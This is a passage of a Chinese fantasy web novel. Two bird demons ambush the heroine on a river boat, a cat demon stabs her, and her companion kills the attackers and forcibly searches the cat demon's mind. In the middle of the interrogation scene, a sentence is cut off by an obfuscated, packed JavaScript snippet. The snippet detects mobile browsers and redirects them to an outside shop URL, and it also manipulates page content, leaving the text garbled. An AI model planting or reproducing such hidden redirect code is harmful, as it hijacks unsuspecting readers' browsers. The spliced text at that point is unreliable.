祝君竹摇了摇头,将与金鳞碰面的事说了。清音听到天都越来越近,却又担心起来。她想起那琴与敖清澜之间可能的关系,那种对未知的焦虑感愈演愈烈。
清音不敢问祝君竹。
祝君竹本就头痛,本就压着江浅月的碎片,压着那把银枪的反噬。她不想再给她添一根刺。
清音只能把疑心藏起来,可越藏,却越重。
又过了几日。
青蛟号行到一段水势更急的江段,两岸山壁逼近,江风带着石壁的冷,刮得人骨头发紧。
当夜,祝君竹照例在琴声里睡下。她睡得比前几日沉一些,眉头也松了些许。可半夜里,她忽然在梦中惊醒。
梦里,她又看见那座烧着的府邸。
火光冲天,哭声乱,刀声乱。有人在喊“王爷”,有人在喊“王妃”,还有人喊“快走”。
她低头,看见自己的手中拎着那柄银枪,枪尖在滴血。血落在地上,竟开出一朵朵白花。
她抬起头,见到一个人站在火里,背影很高,像山一样。那人回头,眼神很冷,很沉。眼神是像林疏星,却又不是林疏星。
那人开口,唤她:“浅月。”
祝君竹猛地坐起,胸口剧烈起伏。
舱内一片黑,只有窗外一点微光。清音睡在里间,呼吸细细。琴匣在桌边,安静得像一块月。
祝君竹抬手按住心口。心跳很快,很乱。
她忽然觉得有些恐惧。并非怕不远处的天都,怕玄影监,而是她怕自己。怕自己某天再握枪,握得太顺,顺到不像祝君竹。
她低声自语:“江浅月……你到底是谁?”
天亮时,祝君竹的眼底又多了些青色。
清音醒来见到,脸色立刻变:“小姐,你又没睡好?”
祝君竹淡淡道:“睡了。只是梦多。”
清音咬唇,取出琴来,手指落在弦上。
祝君竹却抬手按住:“今日不弹了。”
清音一愣:“为什么?”
祝君竹看着她,眼神很平静:“你也该休息。你再耗下去,我当真需要你弹时,你却弹不得了。”
清音无奈,只得将琴收起。
正收琴间,敖清澜却来了。见舱门敞着,便在门外问:“林姑娘,近日可还头痛?”
祝君竹点头:“嗯。痛是痛,却不似那么难熬了。”
敖清澜温声道:“若疼得厉害,别硬撑着。可让清音去寻我,我们合奏,一则效果好些,二则清音也可少些损耗。”
祝君竹低声道:“我知道,多谢敖兄。”
敖清澜点点头:“我要去甲板上走走,林姑娘可愿意同行?”
“我头痛的紧,甲板上风大,我怕吹了风痛的更重,就不去了。左右再几日就到天都了,到时便不需闷在这小小的船舱里了。此前碰到了金鳞,他还说到了天都要去什么楼宴请我们。”
敖清澜微笑转身:“他说的大约是青云楼吧,是个好去处。那里的八宝鸭,可谓一绝!”
清音听着流口水,“八宝鸭真是好多年没吃到了,小姐,我想和敖先生去甲板走走,可以吗?”
祝君竹点了点头笑道:“去吧,这点小事不用问我。”
“嗯!”清音欢喜的蹦蹦跳跳与敖清澜去了。
甲板上风依然不小,吹的清音眼睛流泪。
他二人寻了个僻静处,敖清澜帮她挡住风,问道:“清音姑娘跟我出来,可是有什么话要说?”
清音抬眼看着他,点头。
“那便说吧。”
清音攥紧袖口,鼓起勇气:“敖先生,你这九霄白玉琴……是不是……是不是当年定岳王府的?
敖清澜的目光在她脸上停了一瞬。
那一瞬很短,却足够清音看见他眼底掠过一丝极淡的波——像水下暗流,轻轻翻了一下。
他没有否认,也没有承认。
他只淡淡道:“你只需知道它是张好琴,可以用来弹,能治你家小姐的头痛,就够了。”
清音还想追:“可——”
敖清澜抬手打断,声音虽温和,却不容再问:“清音姑娘,我们早已有约在先,不互相打听。你忘了?”
清音把头低了下去。
敖清澜接着说:“倘若我也问你,你家小姐究竟是谁,为何惹动仙朝两监的追杀?那林兄又究竟是何身份?你可会告诉我?”
清音盯着脚下的甲板摇了摇头。
敖清澜转身望向江面,续道:“你看那江面宽阔平静,纵有疾风,也未见有滔天巨浪。然而这江面之下,不知有多少暗涌激流等着取人性命。我们皆身在船上,行事需慎之又慎。有时,一句无心失言,便会落得万劫不复之地。”
清音点头,关于这“失言闯祸”一事,她早已深有体会。
“故而,在事态未明晰之前,合作却保持距离,是最好的方法。”敖清澜看着她微微一笑。
清音的喉间一涩。她忽然觉得敖清澜似乎知道许多,只是并不说破罢了。他仍有他的顾虑。
清音轻轻“嗯”了一声。
敖清澜转身要走,却忽然停了一下,背对着她,道:“你若真的想知道琴从哪来——等到了天都,或许你很快就会知道。”
清音望着敖清澜离去的背影。心中的慌乱又增加了一分。
天都。她不知到了那里,会翻出什么惊天的秘密,也不知道会有怎样的危险。但她心中清楚,不管她愿不愿意,都得陪着小姐走下去。
19. 第十八回 天瀑峡遇妖遭袭
船入天瀑峡时,天都已经不再是传闻里的名字。
它像一段渐渐收拢的影子,横在北面天际的尽头。晨光从峡口斜斜压下来,水面反出一层碎金,亮得人睁不开眼;可两侧山壁却黑,黑得沉,像刀削出来的千仞巨墙,贴着江水往上抬,一直抬到云里。偶有几道飞瀑从石缝里挂下,白练似的,落到半途被风打散,水雾飘在空中,湿冷里混着岩石的腥气,扑到人鼻间。
青蛟号逆水而上,船腹贴着水声翻卷,声响被峡谷挤得更紧,回音一层一层叠上来,久听竟像有无数双手在暗处揉搓同一块湿布——与江阳那日的水声相似,却更重,更逼仄。
林疏星已经能下床了。
腹部那道刀口在清音的“五音罗织”下收得牢,后来又连着几日敖清澜以潮音贝替他缓气润脉,虽说不至于一夜痊愈,却也从“不能大幅的动”变成“行动自如”。今日天色难得好,峡谷里的风竟不那么冷,阳光落在甲板上带了点温度,他便披了件外袍,上到甲板吹风。
他站在船头偏侧,手指搭在栏边,望着峡谷尽头那一线更亮的天。那线天像被人用刀切开,切开处隐隐透出一抹淡青的城影——并不清晰,却足够让人心里生出那种“终于要到了”的紧与松交缠的感觉。
敖清澜比他更早在甲板上。
他仍是那副温温和和的样子,衣袍干净,袖口束得利落,站在风里像一块不动声色的玉。只是峡谷风大,他的发尾被吹得轻轻扬起,露出一点鳞光,像水面下偶然翻起的细浪。
清音也走出舱来。她自从得了九霄白玉琴,日日为祝君竹安神,灵力耗得不轻,但小姐睡的安稳,她气色倒也好了一些。她怀中抱着个披风,像抱着什么要紧的东西,跑到甲板上时先眯眼看了看天,忍不住小声嘀咕:“今日可真亮……这太阳照得人心里都暖一截。”
林疏星侧头看她:“小姐呢?”
清音抿唇笑了一下,笑里却有点无奈:“小姐这几日都在舱里修炼,说是灵力长得快。她心里憋着劲,不怎么肯出来晒太阳。”
敖清澜听见眼神微微一动,却没插话,只是把目光仍落在峡谷尽头。
清音又补了一句:“不过我方才去送水,她问我天气如何。我说今日大好,她就不吭声了——不吭声的时候,多半是在想出来。”
果然,过了没多久,玄字房那边的舱门开了。祝君竹走出来时,被阳光晃得眯了下眼。
她这几日一直在舱内,外头光亮一扑,像把她从水底捞出来。她穿得不算厚,外袍颜色素,风一吹便贴着身形起伏,显得她整个人比前些日子更瘦一点。人虽瘦却并无疲态,她抬手挡了一下额前的光,眼底透出一点久不见天日的清醒。
清音几乎是立刻迎上去,把披风递过去:“小姐,风大,披上。”
祝君竹接过披风,没有立刻披,只轻轻捏了捏披风边缘,像在确认这不是梦。她抬眼看向峡谷,视线从两侧山壁扫过,又落到北面那线天上,停了停,才道:“天瀑峡……原来是这样。”
她的声音比前些日子柔一点,也慢一点,不再像一直紧绷着的弦。那种柔不是软弱,是久熬后终于喘到一口气的缓。
林疏星站在不远处,看着她走近,眼神里有一瞬极淡的复杂——像松了,又像仍不敢松到底。
祝君竹走到栏边,指尖搭在木栏上,木栏被日晒得微暖。她没有立刻说话,像在把这份暖意往掌心里记一记。过了片刻,她才偏头看林疏星:“你伤怎么样?今日能出来,说明不碍事了?”
林疏星道:“不碍事。”
祝君竹点头,又看向敖清澜:“敖兄今日也出来透气?”
敖清澜微微一笑:“峡谷景色难得。再者,天都近了,总要看看。”
四人站在甲板上,望着峡谷北端那一线天。那一线天像一个口,口后面是什么,没人说得准。天都在那后面,玄影监、玄心监也在那后面;还有敖清澜口中的“要事”,清音心里压着的疑心,祝君竹脑里那把银枪的碎影,林疏星心中那隐隐的忧虑……都像被这峡谷的两壁挤到一处,挤得人心口发闷。
清音觉得,这一刻很安静。
她正想说句什么缓和一下,忽听林疏星低低“嗯”了一声。
祝君竹看向他:“怎么?”
林疏星抬眼,目光落到船的正上方。
祝君竹顺着他的视线看去,只见天光里,有两点黑影在盘旋。那影子飞的很高,像两枚钉在天上的黑钉。可细看能看出是两只大鸟,翼展极大,绕着青蛟号上空打圈,圈打得不急不缓,似乎已跟了好一段路。
清音也看见了,眨眨眼:“大鹏?”
敖清澜微微皱眉:“这峡谷里有大鸟不奇怪,可一直跟着船飞……倒像在盯稍。”
林疏星没说话,只把目光沉下去。
那两只大鹏飞得稳,翅下风声隐隐压着江风,像两把看不见的刀在天上磨。它们并未俯冲,也未鸣叫,安静得过分,安静到像有意让人忽略。
祝君竹盯着那两点黑影,心里有一种熟悉的感觉,一种被盯上的凉意。像江阳圣殿的长廊里,神使转骨珠时落在她身上的那一眼;像官船盘查时,官差头儿把视线当钩子刮过每个人的脸。这一路走来,不知多少次了。
她的指尖微微蜷起,随即松开。
“我们快到天都了,”她开口,声音压得不低不高,恰好让旁边三人听见,“按理说,越靠近天都,越不该有这种不干净的盯梢。”
林疏星把仙朝可能豢养这种大鸟的机构都在脑中过了一遍,一无所获。他看了祝君竹一眼:“你觉得是冲我们来的?”
祝君竹把目光从天上收回,落到甲板上。阳光照得甲板明亮,船工忙着收帆调桨,乘客三三两两出来晒太阳,人人脸上带着“快到了”的喜色与松懈。松懈最容易招祸。
祝君竹低声道:“不确定。但我不喜欢这种感觉。”
清音心里一紧,正要说“要不要回舱”,忽然听见身后舱门处传来一声极轻的木响,像有人从里探出头来,却刻意放轻了脚步。
祝君竹的后背在那一瞬间起了一层细细的寒。
她看了一眼自己的掌心,空空如也。那空让她心里发虚。她不愿承认,可她此刻下意识想的竟是:若银鳞月芒枪能随时被她召出,她就不会这么被动。但如果真那样了,她又怕失去自我。
她深吸一口气,才缓缓转身。
舱门口闪过一个纤瘦身影。
那身影穿着普通旅人的灰衣,头发束得很随意,身形像一段被风吹细的柳。她低着头,似乎在避光,露出来的侧脸轮廓很清,鼻梁细,唇线薄。她站在光里,却像不愿被光碰到。
祝君竹的心口猛地一跳。
熟悉。
又陌生。
像梦里某个一闪而过的影子,也像她在江阳镇的某个角落里瞥见过的一双眼。她想抓住那记忆,可那记忆像滑鱼,刚碰到就溜走,留下一手冷湿。
清音顺着祝君竹的视线也看过去,脸色一瞬间变得有点茫然:“那是谁啊……我们船上有这个人吗?”
林疏星也回头。
他的眼神比清音更冷一点。他在那一瞬间就察觉到不对——那人站姿太轻,像猫。寻常人即便想放轻脚步,也会有身体的重心摇摆,可那身影站在那儿,像一根线,轻得几乎不压甲板。
敖清澜也看到了。
他眸光微沉,却没有立刻动作,只是袖口微微一收,像把某种力量扣在掌中。
祝君竹不动声色地转回林疏星,语气刻意放得平一些:“我忽然有点不舒服,头又开始发闷。我先回舱,晒不得太久。”
清音立刻紧张:“小姐你——”
祝君竹打断她,抬手按了按额角,做出一种“头痛犯了”的样子:“不妨事。你们在外头再站会儿也好,别总闷在舱里。”
祝君竹转身,往舱道走。
她走得不快不慢,像真的只是头痛回房。脚步落在甲板上,木板发出轻微的吱呀声。
她刚准备踏下舱道的第一阶,风向忽然变了。
不是峡谷的风,是从上空压下来的风——那风带着一种尖利的撕裂声,像布被硬生生撕开。
林疏星猛地抬头:“不好!”
祝君竹还未完全转身,便听见头顶传来一声沉沉的“啸”,啸声贴着耳膜刮下,刮得人骨头发麻。
那两只大鹏动了。
它们先前盘旋得像漫不经心,此刻却像箭离弦,翅一收,身影骤然拉长,从天光里直坠下来,快得几乎只剩两道黑线。
乘客们先是愣了一瞬,随即有人尖叫:“鸟!好大的鸟!冲着船来的!”
“快躲!快躲啊!”
一片混乱里,那两只大鹏并俯冲到半空,两道黑影忽然一翻,像水面翻起的浪头,瞬间化出人形。衣袍猎猎,手中握着一柄钢刺寒光闪闪。他们在空中调整身子,借着高空下坠的力道,手持钢刺,再次俯冲而来。
那钢刺不是寻常兵刃,刃身窄长,尖端带倒钩,像专为破甲破骨而制。两名大鹏妖几乎同时出手,一左一右,直奔祝君竹的背心与颈侧,招式狠辣得不讲道理,分明是要她当场毙命。
林疏星剑已出鞘。那软剑出鞘时几乎无声,剑身一抖,像水面一道寒波。可他毕竟才伤愈,出手仍要分一分力护着伤口,剑势虽快,却不敢硬拼对方钢刺的蛮力。
而敖清澜手中玉笛一翻,笛身泛起水蓝光泽,像一段凝成的江水。笛不是用来吹的,此刻更像一根短兵,横拦一刺,便把其中一名大鹏妖的钢刺拨偏,刃尖擦着祝君竹肩侧掠过,带起一线冷风。
两道黑影飞的太快,祝君竹前路被阻,她趁一线空隙回身。躲在林、敖二人中间,她自从圣殿一战后,自信大损,“不擅长近身搏杀”这几个字深深的刻在了她脑中,这其中最关键的是——她手里没有枪。此时绝无可能给她时间集中精神来调动灵力发动致命一击。
轰!轰!两声,敖清澜与林疏星分别架住了两命鹏妖的钢刺,灵力震荡,将两妖震开些许。
她看见那两名大鹏妖的眼——金瞳,瞳孔狭长,像刀锋夹在眼里。那眼里没有任何情感,只有一种极纯的杀意,杀意里甚至带着一点急躁,他们不想缠斗,只想一击得手。
祝君竹退了一步。林、敖两人一左一右,清音则站在祝君竹的前面,彻底隔绝了两妖的路线。
船上护卫冲过来,举刀举棍,可与那两名大鹏妖一对上,便像撞上铁壁。护卫刀口被钢刺一挑,兵刃飞出去,人也被一脚踹翻,砸在甲板上滚了两圈,口里喷血。
“妖!是妖族!”有人喊得变了调。
乘客们四散奔逃,包袱掉了一地,孩子哭声尖利,女人尖叫不断。峡谷回音把这些声音叠得更乱,乱得像一锅煮沸的水,咕嘟咕嘟冒着泡。
祝君竹被逼得连退数步,背脊撞到舱道旁的木柱,木柱震得嗡一声。
她心里很清楚,这局势不是“路遇妖袭”,这是“点名要她命”。
她猛地抬眼,越过混乱的人影,去找舱门口那道纤瘦身影。想着那身影,脑子里瞬间闪过一个念头——阿绒。那个站在船舷便,摆弄着一直凤蝶的,后来偷偷离船了的阿绒。
祝君竹的心口一沉,她想起阿绒那双眼,那种猫一样的轻,那种刻意藏在“无害”里的阴冷。
她想开口提醒林疏星:“小心舱门……”
可她话没来得及出,眼前忽然一闪。
不是光,是影。
那黑影从舱道旁的阴处窜出,辗转腾挪,贴地而来,快得像一截黑烟。那影子在她脚边一旋,便贴到她身侧。
祝君竹只觉小腹一凉。
凉得不像风,像冰。
下一瞬,冰寒骤然变成刺痛——一柄匕首没入她小腹。
匕首入肉时没有太大声响,只有一声极轻的“噗”,像刀尖扎进湿布。
祝君竹的眼睛瞬间睁大。
她低头,看见匕首柄端被一只细瘦的手握着,那手指节细,指尖却硬,像爪。那手背上隐隐有细细的灰纹,一闪而过,像狸猫的毛在映在光里……原来阿绒是只狸猫。
阿绒抬起脸,眼里一片冷光。
她的嘴角甚至带着一点极淡的笑,带着一种对待猎物的戏谑,像终于等到这一刻畅快。她声音很轻,轻得几乎淹没在混乱里:“找到你了。”
祝君竹喉间一阵腥甜。
她想抬手去抓那匕首,想用灵力震开,可小腹这一刀太狠,刀口处像被某种阴寒之力缠住,经脉一缩,灵力竟在那一瞬间滞住。
她脚下一软,身体往后栽。
阿绒手腕一拧,匕首抽出数寸,正要再刺第二下——
一只手臂横挡过来。
林疏星在电光火石间伸臂挡下了这第二刀,匕首尖端刺入他前臂,血瞬间涌出。
林疏星闷哼一声,却硬生生不退,另一只手软剑荡出,在阿绒胸口留下了一道血痕。
阿绒被这一击逼得倒跃出去,落地时足尖一点,竟仍稳住。她眼神一狠,像还想再扑。
敖清澜一声低喝,玉笛横扫,水蓝光芒像浪拍下来,把她逼得再次后退跃开。
“进舱!”林疏星声音发哑,却仍稳,“清音!”
清音这才从大鹏妖的压迫里回神,猛地看到祝君竹腹部那一片血,脸色瞬间白到发青,几乎是扑过来:“小姐——!”
祝君竹想说“不妨事”,想说“别慌”,可话到嘴边只剩一口血气,咽下去时喉间发疼。
林疏星一把扶住她,手掌按在她腰侧,血立刻沾了他满手。那血温热,热得他指尖一颤。
他咬牙,把祝君竹半抱半拖往舱里带,清音紧跟着,手忙脚乱去扶她另一侧。
祝君竹被拖动时,腹部的刀口像被撕开,痛得她眼前发黑。她在黑里仍拼命睁眼,想看清阿绒的方向——她知道这狸猫妖不会甘心,第二刀若再来,她就真撑不住。
可就在她被拖进舱门的一瞬间,甲板上忽然爆出一股更可怕的气息。那气息像深海翻浪,压得人呼吸都沉。
敖清澜的声音变了。
不再温,不再缓,而是冷得像冰刃:“找死。”
清音回头,只见敖清澜的身形在风里微微一晃,周身水性灵韵骤然暴涨,仿佛整条江水都被他扯到身边。那水并不真的涌上甲板,却在他身后凝成一柄长戟。
长戟戟身修长,刃口泛着寒蓝光,外缘绕着一圈圈水波,水波不是散的,而是像被阵纹束住,环环相扣,旋得极稳。戟出的一瞬间,空气里甚至能闻到海盐的冷意,像北海的潮突然扑到峡谷里。
两名大鹏妖同时一凛。
他们显然没料到这“阿绒情报中同行的蛟人乐师”会在此刻露出这样的锋芒。
敖清澜一步踏前。
这一踏,甲板竟隐隐一震。
长戟随他动作划出一道弧,水波随弧卷起,像江河的怒意被他握在掌中。他没有花哨,没有试探,甚至没有喊第二声——只一式。
“气吞山河。”
戟光如潮,潮里夹着锋,锋里带着压。那两名大鹏妖刚抬钢刺想挡,钢刺便被戟光一压,像脆铁撞上巨浪,瞬间崩裂。戟势不停,直接贯穿其中一名大鹏妖的胸口,水波一卷,那妖的身躯像被抽走骨架,砰然砸在甲板上,血溅出一片。
另一名大鹏妖想逃,翅影一晃,脚下刚离地半尺,戟尾水波已卷住他脚踝,猛地一扯,硬生生把他扯回甲板。敖清澜手腕一沉,戟刃斜扫,干净利落地削过对方咽喉。
血线喷起,溅到船舷上,被风一吹,像黑红的雨点。
乘客们的尖叫瞬间变了调,变成一种被吓破胆的呜咽。护卫们也愣住,愣得连刀都忘了举。
敖清澜却没有停。
他转头去找阿绒。
阿绒被林疏星一剑击伤,本就气息乱,此刻见两名大鹏妖瞬间毙命,眼底第一次闪过恐惧。她脚下一错,身形便往人群里钻,想借乱逃走。
敖清澜一步上前,抬脚飞踢。
那一脚极重,落下时却又极准,正踏在阿绒肩背。阿绒被踏得整个人扑倒在甲板上,骨头发出一声脆响,不知断了几截。
她尖叫了一声,想变回猫形逃,可敖清澜脚下水波一震,直接把她的变化压回去。她只能维持人形,像被钉在木板上,动弹不得。
“绑了关到底舱。”敖清澜的声音冰冷。
护卫们这才回神,忙不迭上前,用铁链用绳索把阿绒捆得死死的。阿绒咬牙挣扎,眼神却始终往舱门方向飘——她想知道祝君竹死没死。
敖清澜看都没看她,转身就往舱里走。
走到舱门口时,他忽然顿了一下。门内,血腥味冲出来,浓得像一盆热铁水。他心口像被什么狠狠拧了一下,脚步更快。
祝君竹被拖进玄字房时,已经开始发冷。
那不是风冷,是血往外流的冷。她想用灵力封住伤口,可小腹那一刀带着阴寒,像专门锁人丹田。她越运,越觉得经脉像被细冰针扎,灵力流得断断续续。
清音把她按到床上,手指抖得厉害,药包翻得乱七八糟。她嘴里一直在念:“止血……止血丹……在哪……怎么没有……”。脸上泪水止不住的下落,又在擦拭泪水时涂满了祝君竹的血迹。
林疏星坐到床沿,脸色苍白得吓人。他的左臂还在流血,可他像感觉不到,只把掌心贴在祝君竹胸口与小腹之间,灵力缓缓渡入,先护住她心脉,再护住她那口气不散。
祝君竹看着他,眼里一阵发花。
她想说“你别管我,先管你自己”,可她一张口,喉间涌上来的却是血气与寒意,逼得她只能咽下。
清音终于找到了止血丹,颤着手喂进祝君竹嘴里。祝君竹咽下去时,丹药的温热在胃里散开,却没能彻底压住腹部那道寒。
敖清澜冲进来时,看到的便是这一幕。
祝君竹躺在床上,唇色几乎发青,额角冷汗密得像霜。清音跪在旁边,手上、脸上全是血,眼睛红得像要裂。林疏星一手护着祝君竹心脉,一手却垂在身侧,血兀自顺着指尖滴到地上,滴出一朵朵暗花。
敖清澜站在门口,眼神瞬间空洞。那是一种压到极致的怒与痛在短短一瞬间找不到出口的空洞。
他走近,声音哑得厉害:“月……林姑娘……”
祝君竹的眼皮动了动,像想睁开,却睁不开。她只在模糊里听见那声“林姑娘”。
清音抬头看敖清澜,声音发颤:“敖先生……我、我缝,我能缝……这刀伤太深,刀口里像有寒气,不缝合伤口,小姐必死无疑。”
林疏星抬眼,低声道:“先缝,先保住她的命。”他艰难的抬起受伤的手臂轻轻一挥,隔音阵法的阵旗四散而出。
清音点头,眼泪掉下来也不敢擦。她咬牙催动灵力,五音罗织再起。
她的嗓音一出,银线便凝。只是这一次,她的灵力早已不如当初给林疏星缝伤时充沛。银线刚成形便微微发颤,像随时会断。
敖清澜忽然把潮音贝按在清音肩侧,水性灵韵缓缓渡入。
清音的眼里闪过一瞬惊讶,她望了一眼敖清澜,眼神中充满了感激之色。
如此,清音一针一针缝,缝得极慢。祝君竹的血被音线束住,渐渐不再汹涌,可她的意识却越来越沉,沉得像要往黑暗中坠落。
林疏星的灵力一直护着她心脉。他自身重伤才愈,如今前臂在添新伤,血流不止。他却也顾不得这许多,额角的冷汗涔涔,唇色发白,像把自己那口气也压了进去。敖清澜站在旁边,手指紧得发白,指尖水光起起伏伏,像他体内有一条江在翻。
良久,清音终于把外口缝合,最后一声落下时,她眼前一黑,整个人往旁边栽。
敖清澜伸手扶住她,清音已然昏过去,脸色白得像纸。
祝君竹也没醒。她只是呼吸还在,细得像一根随时会断的线。
林疏星仍在护她心脉,声音低得几乎听不见:“她刀伤太深……得等。等她自己把那口气顶回来。”
敖清澜的眼神像被火烧过。他忽然转身,往外走。那步子很稳,可每一步都带着杀意,杀意沉得像水底的巨石。
林疏星抬眼看他:“你去哪?”
敖清澜没有回头,声音冷得不像他:“审问。”
林疏星愣了一下,问谁,不用说。
自然是阿绒。
底舱比上头冷得多。
船在峡谷里行,江风从缝隙里钻进来,带着水雾与霉味,混着底舱陈年的木腥,贴在人皮肤上像一层湿膜。护卫点着灯,灯火被风一吹,光影摇晃,把墙上的影子拉得细长,像许多条不安分的蛇。
阿绒被押在最里面。
铁链捆着她的手脚,锁在粗木柱上。她衣襟破了,嘴角挂着血,可眼神仍狠,像猫被逼到墙角,尾巴炸起,爪子却还藏着。
敖清澜踏进底舱时,所有护卫都下意识后退半步。
他们方才在甲板上见过那一戟“气吞山河”,那不是护船的手段,那是屠杀。敖清澜身上那层温文尔雅的皮在那一刻撕开了,露出来的锋芒让人不敢靠近。
金鳞站在一旁,见敖清澜下来。迎上来面无表情的悄声道:“敖乐师,这趟船出的祸事,比我以前跑一年的都多!你若非‘那人’引荐,我金鳞绝不会趟这浑水。这份人情,日后你可得还我。”
敖清澜点了点头,颔首施礼,一脸歉意。
“我需得审审她。”敖清澜附在金鳞耳边低声说道。
金鳞点头会意。
“都出去罢。”
话音一落,底舱的护卫们纷纷离去,只剩敖清澜与阿绒。
灯火一跳,阿绒的影子在墙上也跳了一下,像一只被钉住的猫。
阿绒盯着敖清澜,忽然笑了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998684|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一声,笑得发哑:“蛟人……你装得真像。一路吹笛奏乐,装乐师,装得连我都差点信了。”
敖清澜走到她面前,停下。
他垂眼看她,眼神冷得能凝结深海:“说点什么吧!”
阿绒又笑:“告诉你有什么用?她中了我的‘寒刃’,必死无疑。你急什么?你不是一路都很稳吗?你们蛟人最可耻,明明也是妖,却顶着龙族血脉,一副高高在上的样子,我偏偏瞧不上你们这些泥鳅!”
敖清澜的手指微微一动。
空气里有一瞬间的水意凝结,像冷雾贴上阿绒的皮肤。阿绒的笑意僵了一下,眼里第一次露出一丝本能的畏。
“别跟我废话,你是谁?”敖清澜问,声音不高,却像刀背压在骨上,“谁派你来的?”
阿绒咬牙:“你觉得我会说吗?”
敖清澜的唇角几乎没有弧度:“我觉得你会。”
他抬手,指尖在虚空里轻轻一划。
那一划看似随意,却像在黑暗里划开了一道极细的光。光不亮,却冷。冷得像一根针,针尖对着人的眉心,慢慢逼近。
阿绒脸色一变:“你——”
敖清澜森然说道:“搜魂摄魄!”
这四个字一出,底舱的灯火都像被压了一下。
敖清澜的指尖点在她眉心。
阿绒的瞳孔猛地收缩。
她显然听过这秘法。她甚至来不及骂,来不及挣扎,那一瞬间,阿绒像被什么扯住了魂。她的眼睛失去焦距,嘴唇微微张合,像要尖叫,却叫不出声。她的手指抽搐,指甲在木柱上抓出几道白痕,像猫的爪子在刮门。
搜魂术不是逼问。
它是硬生生把人的意识撬开,把藏着的东西拽出来给施术者看。
阿绒的抵抗在最初那一息最剧烈。
她咬紧牙关,额角青筋暴起,她的挣扎渐渐变成抽搐,抽搐渐渐变成无力,最后,她的眼神彻底空了。
敖清澜的声音像从很远处传来,又像贴着她耳膜:“说。”
阿绒的嘴唇动了动,声音断断续续,像不是她自己在说,而是她体内某个被撬开的东西在说。
“两位妖君……失踪……在玉京山附近。”
“妖族……找。”
“疑心……仙朝所害。”
敖清澜眸光一沉。
阿绒继续:“派细作……全界寻……仙朝、龙族、苏罗……都找。”
敖清澜指尖微微用力:“你为何盯她?”
阿绒的瞳孔仍空,声音却更顺了些:“她身上……有气息。”
“妖君的气息。”
“精纯……无误。”
敖清澜的喉结滚动了一下。
他脑中闪过祝君竹在圣殿里那一枪,闪过银鳞月芒枪的寒光,闪过神使临死前那句没说完的“江——”。她身上哪来的妖君气息?玉京山,确实与她有关,妖君在玉京山失踪,似乎说得通。
“谁给你的消息?”他问。
阿绒道:“我……发现妖力……密报金翅……大鹏王。”
“……派杀手。”
敖清澜的眼神更冷:“你不是离船了吗?何时回来的?如何回来的?”
阿绒的嘴唇翕动:“十数日前,我……是狸猫。走路无声,无人注意。”
“大鹏……趁夜带我上船。”
“藏在……货舱夹层……姓林的警觉……有阵法”
“只能……等时机。”
敖清澜指尖一点点压下去:“什么时机?”
“她……上甲板……”
“晒太阳。”
“大鹏突袭……明处……。”
“我在暗处……蓄力一击……偷袭……”
“你早已离船,何以今日才来行刺?”
“此前……仙朝官船……玄影卫…在…不敢现身……”
“此后……她不出舱……直至今日……”
敖清澜眼底的怒像要烧穿水面。
他想起祝君竹转身回舱时那句“我不舒服”,想起她那一瞬的谨慎——她其实已经嗅到了危险,只是还是慢了一步。
敖清澜的眸子在灯火里泛出极冷的光。他松开手,这法术灵力消耗极大,不过信息已经足够了。
阿绒的身体像失去支撑,头猛地垂下去,呼吸急促,像刚从水里捞出来,整个人都在抖。
敖清澜看着她,声音冷漠:“你们的妖君之力,在她身体里?”
阿绒忽然像从空里醒了一瞬,眼神里恢复了一点自己。她看着敖清澜,眼里先是茫然,随即猛地浮出恐惧——她意识到自己刚才说了什么。
她的脸色骤然变得惨白。
“我……我不……”她的声音发颤,随即变成一种绝望的嘶哑,“你对我做了什么!”
敖清澜没有答。
阿绒眼神一狠,猛地低头,牙关一合——她要咬舌自尽。
可敖清澜比她更快。
他抬手,指尖水光一闪,像一滴水落进她喉间,瞬间冻结了她的动作。阿绒的下颌僵住,牙咬不下去,舌也缩不回去,眼里满是惊恐。
敖清澜俯身,声音很低,低得像海底的回声:“你想死,没那么容易。”
他手掌按在阿绒头顶。
一股更古老的力量压下来,带着蛟族的威。那威压不是修行者的灵压,是血脉里带来的“命令”。阿绒的身体猛地一颤,皮肤上浮出细细的灰毛,骨骼缩小,四肢收拢——她被硬生生逼回原形。
一只灰白狸猫。
狸猫挣扎,发出尖利的叫声,可叫声刚出一半就被水意压住,像被捂在水里,闷得发痛。
敖清澜抬手,掌心凝出一块透明水晶。
水晶从无到有,像水被冻结成最硬的冰。它缓缓合拢,把狸猫封在其中。狸猫的爪子抓着水晶壁,抓出几道白痕,却抓不破。
敖清澜把水晶握在掌心,催动灵力,水晶渐渐冻结住狸猫身体,似琥珀一般将她完全封印。
他低声道:“等我问完想问的,你再死。”
说罢,他把水晶收入芥子袋。
底舱一瞬间安静下来,只剩灯火噼啪,像在嘲笑方才那一场撕裂。
敖清澜站了片刻,胸口起伏很轻,却压着极深的怒。他转身要走。
就在此刻,底舱口的木梯上传来一声极轻的脚步。
敖清澜停住,抬眼一看,却见林疏星站在梯口。
他脸色仍白,左臂包扎得粗,却隐隐渗血。显然他安置好祝君竹与清音后,还是跟了下来。底舱灯光晃在他脸上,把他眼底那层沉映得更深。
敖清澜与林疏星对视。
这对视很短,却像两把刀在暗处碰了一下,发出无声的火星。
敖清澜从他的眼神中能够确认,他什么都看见了。
两人都没有说话。
林疏星的眼神里没有惊惧,只有更深的确认——确认敖清澜不是寻常蛟人,也确认这一路同行的“约定”从来不是保护他们不被对方窥探,而是保护他们在窥探之后还能继续同行。
敖清澜的眼神则更沉。他想解释,又像觉得没必要解释。那解释说出口只会把线扯得更乱。
最终,敖清澜只是低声道:“她们如何?”
林疏星的喉结动了一下,声音压得很稳:“外口虽缝住了,内服外敷的药也都用过了。刀伤太深,带着寒毒,得看她自己能不能撑过这一关。”
敖清澜点头:“妖族盯上了,林姑娘体内似乎有两股妖力。”
林疏星亦点头,却未做过多的解释。只说了一句:“回去细说吧。”留着两人单独在房中,虽然已经布好阵法,他仍有些不放心。
敖清澜“嗯”了一声。
两人一前一后上梯。
玄字房外,隔音阵再次启动。
